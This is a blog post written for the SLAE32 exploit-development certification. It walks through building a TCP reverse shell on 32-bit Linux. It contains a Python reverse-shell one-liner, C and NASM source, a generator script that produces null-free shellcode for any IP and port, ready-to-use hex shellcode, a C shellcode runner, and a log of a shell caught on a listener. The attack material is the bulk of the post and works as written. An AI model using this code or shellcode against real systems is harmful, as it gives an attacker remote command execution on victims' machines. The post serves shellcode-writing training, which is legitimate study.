SLAE32 - Assignment 2

Create a TCP reverse shell in 32-bit assembly.

Author Avatar

Robert Raducioiu

  ·  9 min read

Disclaimer #

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-30398

Source Code #

The full source code is stored inside the repository created for this Exam: rbctee/SlaeExam.

List of files:

Implementation #

After creating a TCP socket, the code connects to a specific TCP listener, identified by an IP:PORT pair. At that point, the program redirects input, output and error to the newly-created socket. Finally, a shell is spawned, thus giving an interactive shell to the TCP listener the socket connected to.

C Code #

Given that I didn’t know how to write a reverse shell in C, first I looked for a simple one-liner in python (which is the closest language I’m familiar with):

python -c 'import socket,os,pty;s=socket.socket();s.connect(("127.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Let’s analyze the instructions:

import socket, os, pty

s = socket.socket()
s.connect(("127.0.0.1", 4444))

# s.fileno() returns the File Descriptor associated with the socket
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]

pty.spawn("/bin/sh")

First, it creates a TCP socket and connects it to 127.0.0.1:4444. After that, it uses the function dup2 in order to redirect stdin, stdout, and stderr towards the socket.

Finally, it executes /bin/sh. Let’s see if my C version works:

#include <netinet/ip.h>

int main() {
    int client_socket_fd;

    // define an array made up of 1 value: 0
    // this way I don't have to pass NULL pointers to execve
    char *empty[] = { 0 };
    struct sockaddr_in client_address;

    // create a TCP socket
    client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // connect to 127.0.0.1:4444
    // where netcat is listening
    // /bin/sh -c "nc -v -l 4444"
    client_address.sin_family = AF_INET;

    // convert the IP address to an 'in_addr' struct
    inet_aton("127.0.0.1", &client_address.sin_addr);
    client_address.sin_port = htons(4444);

    // connect to the socket
    connect(client_socket_fd, (struct sockaddr *)&client_address, sizeof(client_address));

    // redirect stdin/stdout/stderr to the socket
    dup2(client_socket_fd, 0);
    dup2(client_socket_fd, 1);
    dup2(client_socket_fd, 2);

    // now that the standard file descriptors are redirected
    // once we spawn /bin/sh, input/output/error are going to be bound
    //      to the socket
    execve("/bin/sh", empty, empty);
}

The first part is similar to the previous assignment: it creates a TCP socket using the same arguments.

However, compared to the function bind(), connect() doesn’t use the value INADDR_ANY. Instead, it uses a specific IP address to connect to.

I discovered that you can’t just do the following:

client_address.sin_addr.s_addr = "127.0.0.1";

The reason resides in the definition of sockaddr_in:

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};

/* Internet address */
struct in_addr {
    uint32_t       s_addr;     /* address in network byte order */
};

The variable sin_addr isn’t simply a string (or a char array): it’s an in_addr struct, so we need to convert the string first.

According to this website, there are two options:

  • inet_addr, an old function and theorically deprecated

  • inet_aton, which is the recommended way

After that:

  • the function connect() is used for connecting the newly-created socket to 127.0.0.1:4444 (a netcat listener running on the same machine)

  • input/output/error is redirected to the socket through the use of the dup2 function.

Lastly, the syscall execve spawns an SH shell.

Here’s what’s different from my first attempt at the Bind Shell TCP Shellcode: it seems you don’t need to manage the reception of commands and their execution, like I did previously (in the first assignment) using the functions recv, and system.

In fact, after you correctly redirect input/output/error to the remote socket, and spawn a shell, everything else is performed automatically by the system.

Assembly #

Follows the first piece of code we need to convert into Assembly code:

int main() {
    int client_socket_fd;
    char *empty[] = { 0 };
    struct sockaddr_in client_address;

    client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

As for the 1st assignment, a socket can be created by means of the socketcall system function:

; Author: Robert Catalin Raducioiu (rbct)

global _start

section .text

_start:

    ; clear EAX, EBX, and ECX registers
    xor eax, eax
    mov ebx, eax
    mov ecx, eax

    ; copy 102 into EAX: socketcall() syscall
    mov al, 102

    ; 3rd argument of socket(): IPPROTO_TCP (0x6)
    mov cl, 6
    push ecx

    ; 1st argument of socketcall(): SYS_SOCKET
    ; 2nd argument of socket(): SOCK_STREAM (0x00000001)
    inc bl
    push ebx

    ; 1st argument of socket(): AF_INET
    mov cl, 2
    push ecx

    ; 2nd argument of socketcall(): pointer to the arguments for SYS_SOCKET call
    mov ecx, esp

    ; call syscall
    int 0x80

    ; save server socket file descriptor
    mov esi, eax

As you can see, the syscall socketcall (n. 102, or 0x66) calls socket(), to which the parameters AF_INET, SOCK_STREAM, IPPROTO_TCP are passed in order to create a TCP socket.

Once the socket has been created, we need to connect it to the remote server, in this case the netcat listener:

    client_address.sin_family = AF_INET;
    inet_aton("127.0.0.1", &client_address.sin_addr);
    client_address.sin_port = htons(4444);

    connect(
        client_socket_fd,
        (struct sockaddr *)&client_address,
        sizeof(client_address)
    );

First hurdle is the sockaddr_in struct, which I’ve already covered in the 1st assignment:

struct sockaddr_in {
  unsigned short      sin_family;
  unsigned short      sin_port;
  struct in_addr      sin_addr;
};

struct in_addr sin_addr {
  unsigned int        s_addr;
}

The size of the struct sockaddr_in is 0x10 bytes (due to padding). Follows the assembly code regarding the creation of the aforementioned struct, and the connect function:

    ; inet_aton("127.0.0.1")
    ;rol ebx, 24
    ;push ebx
    push 0x0100007f
    ;mov [esp], BYTE 127

    ; 0x115c -> htons(4444)
    push WORD 0x5c11

    ; 0x0002 -> AF_INET
    mov bl, 2
    push WORD bx

    ; save the pointer to the struct for later
    mov ecx, esp

    ; 3rd argument of connect(): size of the struct
    ; push 16
    xor ebx, ebx
    mov bl, 16
    push ebx

    ; 2nd argument of connect(): pointer to the struct
    push ecx

    ; 1st argument of connect(): file descriptor of the server socket
    push esi

    ; syscall socketcall()
    xor eax, eax
    mov al, 102

    ; 1st argument of socketcall(): call SYS_CONNECT
    mov bl, 3

    ; 2nd argument of socketcall(): pointer to the parameters of bind()
    mov ecx, esp

    int 0x80

Next, we’re ready to redirect stdin/stdout/stderr towards the server socket.

    ; loop counter (repeats dup2() three times)
    mov ecx, ebx

RepeatDuplicate:
    ; save ecx since it's modified later
    push ecx

    ; dup2() syscall
    mov al, 63

    ; Client file descriptor
    mov ebx, esi

    ; Redirect this file descriptor (stdin/stdout/stderr) to the Client File descritptor
    mov ecx, DWORD [esp]
    dec ecx

    ; call dup2()
    int 0x80

    ; restore ecx and check if loop is over
    pop ecx
    loop RepeatDuplicate

As for the previous assignment, the loop instruction repeats the routine RepeatDuplicate three times, once for stderr (0x2), stdout (0x1), and for stdin (0x0):

Finally, it spawns a shell:

    push ecx
    push 0x68732f6e
    push 0x69622f2f
    mov ebx, esp

    ; execve syscall
    xor eax, eax
    mov al, 11
    int 0x80

From now on, every message that will be sent from the netcat listener is going to be interpreted as a command, since the file descriptors of the shell are redirected to those of the socket.

Automation #

One of the requirements of the assignment is to be able to easily configure IP address and TCP port. For this reason, I chose to reuse the script I wrote for the first assignment, to which I’ve made some small changes in order to use arbitrary IP addresses too.

I won’t show the whole script again, as I’ve already done that. I’ll only cover the changes.

First, there’s the main function. I’ve added another argument to the script, named ip:

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('-p', '--port', type=int, help='TCP Port for the Bind Shell', required=True, metavar="[1-65535]")
    parser.add_argument('-ip', "--ip", help="IP address of the Bind Shell", required=True)
    parser.add_argument('-t', '--template', help='Path of the NASM template file. Example: -t /tmp/template.nasm', required=True)
    parser.add_argument('-o', '--output', help='Path for the output file. Example: -o /tmp/output.nasm', required=True)

    args = parser.parse_args()

    ip_address = args.ip
    tcp_port = args.port

    if tcp_port not in range(1, 65536):
        print(f"[!] Argument '--port' must be in range [1-65535]")
        sys.exit(1)

    shellcode_template = args.template
    output_file_path = args.output

    replace_template_values(shellcode_template, tcp_port, ip_address, output_file_path)
    generate_shellcode(output_file_path)

Other than that, I have changed the function replace_template_values():

def replace_template_values(template_name, tcp_port, ip_address, output_file_path):

    with open(template_name) as f:
        template_code = f.read()

    tcp_port_hex = (tcp_port).to_bytes(2, "little").hex()

    if '00' in tcp_port_hex:
        if '00' in tcp_port_hex[:2]:
            non_null_byte = tcp_port_hex[2:]
            replace_code = f"mov bl, 0x{non_null_byte}\n    push bx\n    xor ebx, ebx"
        else:
            non_null_byte = tcp_port_hex[:2]
            replace_code = f"mov bh, 0x{non_null_byte}\n    push bx\n    xor ebx, ebx"
    else:
        replace_code = f"push WORD 0x{tcp_port_hex}"

    template_code = template_code.replace("{{ TEMPLATE_TCP_PORT }}", replace_code, 1)

    ip_address_bytes = [int(x) for x in ip_address.split(".")][::-1]

    if 0 in ip_address_bytes:
        print("[!] Found NULL byte in IP address")

        # choose a random byte from the range(1,256), excluding the bytes that make up the IP address
        random_xor_byte = random.choice(list(set(range(1,256)) - set(ip_address_bytes)))

        # encode XORing DWORD and XORed DWORD to hexadecimal
        xor_dword = (bytes([random_xor_byte]) * 4).hex()
        ip_address_xored_bytes = bytes([x ^ random_xor_byte for x in ip_address_bytes]).hex()

        replace_code = f"mov ebx, 0x{ip_address_xored_bytes}\n    xor ebx, 0x{xor_dword}\n    push ebx\n    xor ebx, ebx"
    else:
        ip_address_hex = "".join([(x).to_bytes(1, "little").hex() for x in ip_address_bytes])
        replace_code = f"push 0x{ip_address_hex}"

    template_code = template_code.replace("{{ TEMPLATE_TCP_IP }}", replace_code, 1)

    with open(output_file_path, 'w') as f:
        f.write(template_code)

When you run the script it shows you the required arguments:

python3 script.py -h

# usage: wrapper.py [-h] -p [1-65535] -ip IP -t TEMPLATE -o OUTPUT

# optional arguments:
#   -h, --help            show this help message and exit
#   -p [1-65535], --port [1-65535]
#                         TCP Port of the Bind Shell
#   -ip IP, --ip IP       IP address of the Bind Shell
#   -t TEMPLATE, --template TEMPLATE
#                         Path of the NASM template file. Example: -t /tmp/template.nasm
#   -o OUTPUT, --output OUTPUT
#                         Path of the output file. Example: -o /tmp/output.nasm

If you pass the required arguments, it finally prints the shellcode which you can copy into a shellcode runner.

Follows an example:

python3 wrapper.py -p 1234 -ip "127.0.0.1" -t ./template.nasm -o /tmp/output.nasm

# [!] Found NULL byte in IP address
# [+] Object file generated at /tmp/output.nasm
# [+] Executable binary generated at /tmp/output
# [+] Shellcode length: 99 bytes
# [+] Shellcode:
# "\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\xbb\xa0\xdf\xdf\xde\x81\xf3\xdf\xdf\xdf\xdf\x53\x31\xdb\x66\x68\x04\xd2\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80";

The python script and the NASM template are stored inside the aforementioned Git repository, to be more specific they can be found in the folder assignment/2/automation.

Testing #

To test that everything works correctly, I used the python script to generate the shellcode for a TCP Reverse Shell listening on 192.168.1.107:256:

python3 wrapper.py -p 256 -ip "192.168.1.107" -t ./template.nasm -o /tmp/output.nasm

# [+] Object file generated at /tmp/output.nasm
# [+] Executable binary generated at /tmp/output
# [+] Shellcode length: 92 bytes
# [+] Shellcode:
# "\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\x68\xc0\xa8\x01\x6b\xb3\x01\x66\x53\x31\xdb\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80";

To test the shellcode generated by the python script, I used the following C shellcode runner:

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\x68\xc0\xa8\x01\x6b\xb3\x01\x66\x53\x31\xdb\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80";

main() {
    printf("Shellcode length: %d\n", strlen(code));

    int (*ret)() = (int(*)())code;
    ret();
}

Compile and run it:

gcc -fno-stack-protector -z execstack shellcode_runner.c -o /tmp/tcp_rev_shell
/tmp/tcp_rev_shell

On my Kali machine, on which I previously set up a ncat listener (sudo ncat -nvlp 256), I received a reverse shell:

sudo nc -nvlp 256

# Ncat: Listening on :::256
# Ncat: Listening on 0.0.0.0:256
# Ncat: Connection from 192.168.1.105.
# Ncat: Connection from 192.168.1.105:60058.
# id
# uid=1000(rbct) gid=1000(rbct) groups=1000(rbct),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare)
# whoami
# rbct